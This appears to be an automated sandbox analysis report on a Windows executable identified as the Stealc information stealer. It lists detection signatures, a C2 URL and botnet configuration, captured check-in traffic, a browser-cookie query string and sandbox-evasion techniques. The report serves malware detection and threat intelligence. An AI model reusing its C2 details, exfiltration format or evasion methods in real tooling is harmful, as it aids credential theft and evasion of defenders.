Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544128
MD5:	37ad51a72ae2ee4f18f90db961ca42e0
SHA1:	4e981723fa01e7aa8f81b23c734a13b2cdb9e252
SHA256:	33c2bf98bb8da8afa179fd90efc0b686e9eca69ffa2ab5b8163ece46a90ff561
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6552 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 37AD51A72AE2EE4F18F90DB961CA42E0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2197299043.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2154333507.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6552	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6552	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.110000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T21:41:05.720999+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

Code function: 0_2_001162D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_001162D0

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 35 34 37 34 42 46 32 42 45 34 31 38 36 36 34 38 36 36 33 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="hwid"7E5474BF2BE41866486636------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="build"tale------AECAECFCAAEBFHIEHDGH--

Source: file.exe, 00000000.00000002.2197299043.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2197299043.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2197299043.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php%.&
Source: file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php-
Source: file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/r
Source: file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpW
Source: file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpe/
Source: file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpu.
Source: file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/P
Source: file.exe, file.exe, 00000000.00000003.2154333507.0000000004B8B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025	0_2_0056E025
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00150098	0_2_00150098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005730CC	0_2_005730CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057D09D	0_2_0057D09D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00142138	0_2_00142138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00582129	0_2_00582129
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016B198	0_2_0016B198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0017E258	0_2_0017E258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00154288	0_2_00154288
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0019B308	0_2_0019B308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0018D39E	0_2_0018D39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056C3E9	0_2_0056C3E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057B4D6	0_2_0057B4D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013E544	0_2_0013E544
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00134573	0_2_00134573
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001545A8	0_2_001545A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0017D5A8	0_2_0017D5A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004985AD	0_2_004985AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0018A648	0_2_0018A648
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058060B	0_2_0058060B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FF62E	0_2_004FF62E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00442623	0_2_00442623
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001566C8	0_2_001566C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001996FD	0_2_001996FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068D75D	0_2_0068D75D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016D720	0_2_0016D720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00186799	0_2_00186799
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00164868	0_2_00164868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001698B8	0_2_001698B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016B8A8	0_2_0016B8A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0017F8D6	0_2_0017F8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005799B8	0_2_005799B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056FA53	0_2_0056FA53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057EA1E	0_2_0057EA1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00574AF4	0_2_00574AF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056AB67	0_2_0056AB67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00180B88	0_2_00180B88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00184BA8	0_2_00184BA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00604BAD	0_2_00604BAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00178BD9	0_2_00178BD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0018AC28	0_2_0018AC28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0017AD38	0_2_0017AD38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00561D1F	0_2_00561D1F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00141D78	0_2_00141D78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016BD68	0_2_0016BD68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00165DB9	0_2_00165DB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00164DC8	0_2_00164DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00158E78	0_2_00158E78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00181EE8	0_2_00181EE8

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00114610 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: szuavcfa ZLIB complexity 0.9949861187591776

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00129790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00129790

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00123970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00123970

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\GOB92GLS.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2197299043.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 2181632 > 1048576

Source: file.exe

Static PE information: Raw size of szuavcfa is bigger than: 0x100000 < 0x1a9a00

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.2154333507.0000000004B8B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.2154333507.0000000004B8B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.110000.0.unpack :EW;.rsrc :W;.idata :W; :EW;szuavcfa:EW;lozgslii:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;szuavcfa:EW;lozgslii:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00129BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00129BB0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x21cca0 should be: 0x22296e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: szuavcfa
Source: file.exe	Static PE information: section name: lozgslii
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00612047 push ecx; mov dword ptr [esp], 7E3F3F00h	0_2_0061206A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012E02B push cs; iretd	0_2_0012E036
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00657009 push ebp; mov dword ptr [esp], ebx	0_2_0065702C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push 4E48FB59h; mov dword ptr [esp], edx	0_2_0056E04F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push ecx; mov dword ptr [esp], esi	0_2_0056E05B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push 768703AAh; mov dword ptr [esp], edi	0_2_0056E122
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push edx; mov dword ptr [esp], 19365585h	0_2_0056E160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push edi; mov dword ptr [esp], 6DD033CDh	0_2_0056E1FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push ebx; mov dword ptr [esp], eax	0_2_0056E2BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push eax; mov dword ptr [esp], 54A5B707h	0_2_0056E382
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push esi; mov dword ptr [esp], 4EC3CA82h	0_2_0056E491
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push 5B524D41h; mov dword ptr [esp], ebx	0_2_0056E4A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push esi; mov dword ptr [esp], eax	0_2_0056E4FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push 5654AD88h; mov dword ptr [esp], edi	0_2_0056E54C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push 7C76FF66h; mov dword ptr [esp], eax	0_2_0056E554
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push ecx; mov dword ptr [esp], 409F48C3h	0_2_0056E580
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push edi; mov dword ptr [esp], 62CE68D2h	0_2_0056E59E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push 188E7A42h; mov dword ptr [esp], edi	0_2_0056E5CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push ebp; mov dword ptr [esp], ebx	0_2_0056E5EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push 0253C8F9h; mov dword ptr [esp], ecx	0_2_0056E669
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push ebx; mov dword ptr [esp], edi	0_2_0056E6AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push ebp; mov dword ptr [esp], 5BD0D8C0h	0_2_0056E775
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push ebp; mov dword ptr [esp], edx	0_2_0056E827
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push ebx; mov dword ptr [esp], 09327C00h	0_2_0056E842
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push edi; mov dword ptr [esp], 262B941Bh	0_2_0056E84D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push 3A87A992h; mov dword ptr [esp], eax	0_2_0056E864
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push ecx; mov dword ptr [esp], edx	0_2_0056E8DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push eax; mov dword ptr [esp], ecx	0_2_0056E8F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push esi; mov dword ptr [esp], 55989DADh	0_2_0056E902
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push edi; mov dword ptr [esp], 4B6E6541h	0_2_0056E924
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E025 push edx; mov dword ptr [esp], 7F1F2D8Dh	0_2_0056E939

Source: file.exe

Static PE information: section name: szuavcfa entropy: 7.954150406224703

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00129BB0

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-37643

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FE263 second address: 3FE268 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5864AD second address: 5864B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586634 second address: 58664B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F96F934F1ECh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586A24 second address: 586A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jng 00007F96F95D6D66h 0x0000000c popad 0x0000000d jmp 00007F96F95D6D72h 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007F96F95D6D66h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586BB8 second address: 586BBD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586D12 second address: 586D18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586D18 second address: 586D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586D22 second address: 586D26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586D26 second address: 586D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586D2C second address: 586D3F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F96F95D6D6Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A159 second address: 58A15F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A15F second address: 58A1C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F95D6D6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 0E86DFDBh 0x00000010 jmp 00007F96F95D6D74h 0x00000015 push 00000003h 0x00000017 mov cx, ax 0x0000001a push 00000000h 0x0000001c jmp 00007F96F95D6D79h 0x00000021 push 00000003h 0x00000023 mov dword ptr [ebp+122D2389h], ecx 0x00000029 call 00007F96F95D6D69h 0x0000002e push eax 0x0000002f push edx 0x00000030 jno 00007F96F95D6D6Ch 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A1C9 second address: 58A1CE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A1CE second address: 58A1F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F96F95D6D76h 0x0000000e jc 00007F96F95D6D6Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A1F5 second address: 58A207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F96F934F1E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A207 second address: 58A25D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F96F95D6D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F96F95D6D77h 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F96F95D6D76h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c jng 00007F96F95D6D73h 0x00000022 jmp 00007F96F95D6D6Dh 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A25D second address: 58A261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A387 second address: 58A3A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96F95D6D75h 0x00000009 rdtsc
